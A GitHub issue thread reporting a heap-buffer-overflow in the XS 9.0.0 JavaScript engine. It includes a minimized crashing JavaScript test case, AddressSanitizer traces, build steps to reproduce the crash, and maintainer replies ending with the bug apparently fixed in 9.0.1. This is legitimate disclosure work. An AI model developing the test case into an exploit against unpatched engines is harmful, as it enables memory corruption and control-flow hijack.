Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XS: Heap-Buffer-Overflow #235

Closed
sunlili opened this issue Jul 25, 2019 · 10 comments
Closed

XS: Heap-Buffer-Overflow #235

sunlili opened this issue Jul 25, 2019 · 10 comments

Comments

@sunlili
Copy link

sunlili commented Jul 25, 2019

Hello,
We find a heap-buffer-overflow vulnerability in XS 9.0.0, which is reported by Address Sanitizer. We compile and run the xs in linux 64.
The simplified js code:

function opt(arg1, arg2, arg3, arg4, arg5) {
    var sb = [arg2];
    var test_bitor = function() {
        return 0;
    };
    
    var arr = [];
}
obj = {};
count = 0;

(function TestFunc() {
    var a;
    for (let i = 0; i < 1; i++) {
        opt(1.1, {}, {}, 2, {});
    }
    (function outer() {
        count++;
        if (count > 390)
            return;

        (function inner() {
            opt(-5, obj, obj, 10, obj);
            a;
        })();
        
        with(obj) {
            outer();
        }
    })();
})();

let identifier_array = {};

for (let key in identifier_array) {
    let val = identifier_array[key];
}

Output of executing './xst -s crash.js'

=================================================================
==53071==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f5e0fee77e0 at pc 0x000000425b7e bp 0x7ffd6ce1c3c0 sp 0x7ffd6ce1c3b0
WRITE of size 8 at 0x7f5e0fee77e0 thread T0
    #0 0x425b7d in fxBeginHost /home/sll/moddable-public/xs/sources/xsAPI.c:1745
    #1 0x5ff493 in fxRunDefine /home/sll/moddable-public/xs/sources/xsRun.c:3826
    #2 0x5dc6e4 in fxRunID /home/sll/moddable-public/xs/sources/xsRun.c:2120
    #3 0x606d8f in fxRunScript /home/sll/moddable-public/xs/sources/xsRun.c:4321
    #4 0x6f9cc5 in fxRunProgramFile /home/sll/moddable-public/xs/tools/xst.c:1320
    #5 0x6eeb20 in main /home/sll/moddable-public/xs/tools/xst.c:264
    #6 0x7f5e0e4f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4138d8 in _start (/home/sll/moddable-public/build/bin/lin/debug/xst+0x4138d8)

0x7f5e0fee77e0 is located 32 bytes to the left of 131072-byte region [0x7f5e0fee7800,0x7f5e0ff07800)
allocated by thread T0 here:
    #0 0x7f5e0ee5f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x570023 in fxAllocateSlots /home/sll/moddable-public/xs/sources/xsPlatforms.c:138
    #2 0x53bb24 in fxAllocate /home/sll/moddable-public/xs/sources/xsMemory.c:160
    #3 0x420c8e in fxCreateMachine /home/sll/moddable-public/xs/sources/xsAPI.c:1309
    #4 0x6edd2b in main /home/sll/moddable-public/xs/tools/xst.c:235
    #5 0x7f5e0e4f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/sll/moddable-public/xs/sources/xsAPI.c:1745 fxBeginHost
Shadow bytes around the buggy address:
  0x0fec41fd4ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0fec41fd4ef0: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
  0x0fec41fd4f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==53071==ABORTING

According to the report, fxBeginHost() access memory which should not be allowed. You can get the report too, if you compile XS with -fsanitize option, then just run the xst with the js.
Modify xs/makefiles/lin/xst.mk, add " -fsanitize=address" into C_OPTIONS (line 61) and LINK_OPTIONS (line 68), then make it, you will get the xst in /lin/debug which has been instrumented with AddressSanitizer.

Built-in Security Lab
2019.7.25

@phoddie
Copy link
Collaborator

phoddie commented Jul 25, 2019

Thank you for the report. We'll take a look.

@sunlili
Copy link
Author

sunlili commented Sep 2, 2019

Hello, could you help me to request a CVE ID for this vulnerability. I have tried to submit it in https://cveform.mitre.org/, but they didn't response to me. Maybe it will be different to you. As a PhD student, I really need some CVE IDs to prove the effectiveness of my work. Thank you every much.

@sunlili
Copy link
Author

sunlili commented Sep 3, 2019

Hi, can you confirm this vulnerability? I can give more details about how to repeat this vulnerability if you need.

@phoddie
Copy link
Collaborator

phoddie commented Sep 3, 2019

@sunlili - Thanks for the report. Apologies for being slow to reply. We will make some time to investigate this issue. Would you answer one question to help us with that? There are two common ways to run XS and it is not clear from the report which you used. In some cases, an issue will be present in one of these runtime environments but not the other. Are you using xst or a Moddable SDK project?

Regard CVE, we have used that for XS vulnerabilities and so are unfamiliar with their administrative process. I'm not sure re-reporting the same issue will help. If there is a step we should take to help move your CVE ID report ahead, please let me know.

@phoddie
Copy link
Collaborator

phoddie commented Sep 4, 2019

Oops - I just noticed that in your report you mention xst.

@sunlili
Copy link
Author

sunlili commented Sep 4, 2019

Here is the details to reproduce the vulnerability.

  1. To compile the 'xst' with 'AddressSanitizer' on Linux:

    1.1 After downloading the moddable-public source code, you need to modify some makefiles:
    (1) Under moddable-public/xs/makefiles/lin directory, modify the 'makefile'. Adding following line after ".NOTPARALLEL", the "MODDABLE" is assigned to the directory where you save your moddable-public source code. For example:
    MODDABLE = /home/sll/moddable-public
    (2) Still under moddable-public/xs/makefiles/lin directory, modify the "xst.mk" file:
    Modify XS_DIR, changing line 29: XS_DIR ?= $(realpath ../..) to XS_DIR = /home/sll/moddable-public/xs, specify the directory of moddable-public/xs.
    Modify BUILD_DIR, changing line 30: BUILD_DIR ?= $(realpath ../../../build) to BUILD_DIR = /home/sll/moddable-public/build, specify the directory of moddable-public/build.
    Modify C_OPTIONS, changing line 58: add "-fsanitize=address" at the end of the line, like following:
    C_OPTIONS += -g -O0 -Wall -Wextra -Wno-missing-field-initializers -Wno-unused-parameter -fsanitize=address
    Modify LINK_OPTIONS changing line 65: add "-fsanitize=address" at the end of the line, like following:
    LINK_OPTIONS = -rdynamic -fsanitize=address

    1.2 run "make" under same directory, you can see output like following:

make -f xst.mk
make[1]: Entering directory '/home/sll/moddable-public/xs/makefiles/lin'
# xst debug : cc xsAll.c
# xst debug : cc xsAPI.c
# xst debug : cc xsArguments.c
# xst debug : cc xsArray.c
# xst debug : cc xsAtomics.c
# xst debug : cc xsBigInt.c

...

# xst release : cc scanner.c
# xst release : cc writer.c
# xst release : cc xst.c
# xst release : cc xst
make[1]: Leaving directory '/home/sll/moddable-public/xs/makefiles/lin'

Then, you will get the binary of xst which instrumented with AddressSanitizer under "~/moddable-public/build/bin/lin/debug"

  1. Run the script, and reproduce the crash:
    2.1 Executing "./xst -s crash.js", you will see the crash report. AddressSanitizer give the details about the crash, such as the context and memory status.
=================================================================
==1606==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fead47637e0 at pc 0x000000425b7e bp 0x7ffea33e5930 sp 0x7ffea33e5920
WRITE of size 8 at 0x7fead47637e0 thread T0
    #0 0x425b7d in fxBeginHost /home/sll/moddable-public/xs/sources/xsAPI.c:1745
    #1 0x5ff493 in fxRunDefine /home/sll/moddable-public/xs/sources/xsRun.c:3826
    #2 0x5dc6e4 in fxRunID /home/sll/moddable-public/xs/sources/xsRun.c:2120
    #3 0x606d8f in fxRunScript /home/sll/moddable-public/xs/sources/xsRun.c:4321
    #4 0x6f9cc5 in fxRunProgramFile /home/sll/moddable-public/xs/tools/xst.c:1320
    #5 0x6eeb20 in main /home/sll/moddable-public/xs/tools/xst.c:264
    #6 0x7fead2d7382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4138d8 in _start (/home/sll/moddable-public/build/bin/lin/debug/xst+0x4138d8)

0x7fead47637e0 is located 32 bytes to the left of 131072-byte region [0x7fead4763800,0x7fead4783800)
allocated by thread T0 here:
    #0 0x7fead36db602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x570023 in fxAllocateSlots /home/sll/moddable-public/xs/sources/xsPlatforms.c:138
    #2 0x53bb24 in fxAllocate /home/sll/moddable-public/xs/sources/xsMemory.c:160
    #3 0x420c8e in fxCreateMachine /home/sll/moddable-public/xs/sources/xsAPI.c:1309
    #4 0x6edd2b in main /home/sll/moddable-public/xs/tools/xst.c:235
    #5 0x7fead2d7382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/sll/moddable-public/xs/sources/xsAPI.c:1745 fxBeginHost
Shadow bytes around the buggy address:
  0x0ffdda8e46a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0ffdda8e46f0: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
  0x0ffdda8e4700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==1606==ABORTING
  1. You can also compile the xst without AddressSanitizer, just do
    3.1 Not modify "C_OPTIONS" and "LINK_OPTIONS" in xst.mk,
    3.2 rm -rf ~/moddable-public/build/bin ~/moddable-public/build/tmp, remember do this!
    3.3 make xst and run the crash.js script, the xst still crash, the output is like following:
undefined
*** Error in `./xst': free(): invalid pointer: 0x0000000001f3e600 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f85a6ae47e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f85a6aed37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f85a6af153c]
./xst(fxFreeSlots+0x1c)[0x494954]
./xst(fxFree+0xf8)[0x483d49]
./xst(fxDeleteMachine+0x151)[0x418edd]
./xst(main+0xb58)[0x5209c5]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f85a6a8d830]
./xst(_start+0x29)[0x412fd9]
======= Memory map: ========
00400000-00550000 r-xp 00000000 08:05 136579531                          /home/sll/moddable-public/build/bin/lin/debug/xst
00750000-00751000 r--p 00150000 08:05 136579531                          /home/sll/moddable-public/build/bin/lin/debug/xst
00751000-00752000 rw-p 00151000 08:05 136579531                          /home/sll/moddable-public/build/bin/lin/debug/xst
01f3e000-01f97000 rw-p 00000000 00:00 0                                  [heap]
7f859c000000-7f859c021000 rw-p 00000000 00:00 0 
7f859c021000-7f85a0000000 ---p 00000000 00:00 0 
7f85a2854000-7f85a286b000 r-xp 00000000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a286b000-7f85a2a6a000 ---p 00017000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a2a6a000-7f85a2a6b000 r--p 00016000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a2a6b000-7f85a2a6c000 rw-p 00017000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a2a6c000-7f85a6a6d000 rw-p 00000000 00:00 0 
7f85a6a6d000-7f85a6c2d000 r-xp 00000000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6c2d000-7f85a6e2d000 ---p 001c0000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6e2d000-7f85a6e31000 r--p 001c0000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6e31000-7f85a6e33000 rw-p 001c4000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6e33000-7f85a6e37000 rw-p 00000000 00:00 0 
7f85a6e37000-7f85a6e4f000 r-xp 00000000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a6e4f000-7f85a704e000 ---p 00018000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a704e000-7f85a704f000 r--p 00017000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a704f000-7f85a7050000 rw-p 00018000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a7050000-7f85a7054000 rw-p 00000000 00:00 0 
7f85a7054000-7f85a715c000 r-xp 00000000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a715c000-7f85a735b000 ---p 00108000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a735b000-7f85a735c000 r--p 00107000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a735c000-7f85a735d000 rw-p 00108000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a735d000-7f85a7383000 r-xp 00000000 08:03 22544560                   /lib/x86_64-linux-gnu/ld-2.23.so
7f85a7548000-7f85a754d000 rw-p 00000000 00:00 0 
7f85a754d000-7f85a7582000 r--s 00000000 08:03 9447542                    /var/cache/nscd/hosts
7f85a7582000-7f85a7583000 r--p 00025000 08:03 22544560                   /lib/x86_64-linux-gnu/ld-2.23.so
7f85a7583000-7f85a7584000 rw-p 00026000 08:03 22544560                   /lib/x86_64-linux-gnu/ld-2.23.so
7f85a7584000-7f85a7585000 rw-p 00000000 00:00 0 
7ffce725d000-7ffce727e000 rw-p 00000000 00:00 0                          [stack]
7ffce72d0000-7ffce72d3000 r--p 00000000 00:00 0                          [vvar]
7ffce72d3000-7ffce72d5000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)

@sunlili
Copy link
Author

sunlili commented Sep 15, 2019

Hi, heap over flow is a serious vulnerability. It can be exploited to read and write arbitrary process memory and hijack the control flow, so you should fix the vulnerability as soon as possible.

@mkellner
Copy link
Collaborator

Hello.
I have not been able to reproduce your results. Perhaps something has been fixed since this was reported?

'$ xst -s ./crash.js
undefined`

If I run xsbug first, and use the debug version of xst, then xsbug reports a stack overflow (-1)!

'$ xsbug &
$ $MODDABLE/build/bin/lin/debug/xst -s ./crash.js`

image

I note no output from AddressSanitizer in either case.

@phoddie
Copy link
Collaborator

phoddie commented Sep 23, 2019

..heap over flow is a serious vulnerability. It can be exploited to read and write arbitrary process memory and hijack the control flow, so you should fix the vulnerability as soon as possible

Yes, this can be a serious vulnerability in some circumstances. But, only when the host is open to running arbitrary scripts. That is the case in a browser. The current deployments using XS are sealed systems often without a script interpreter. As such, they are immune to such an exploit.

That said, we take such reports seriously. Unfortunately, we have been unable to reproduce this report on macOS or Linux when using the Address Sanitizer.

@sunlili
Copy link
Author

sunlili commented Sep 24, 2019

I download the latest XS source code, which is version 9.0.1, and the crash indeed can not reproduce any more. It seems like the vulnerability has been fixed in the new version. That's great!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants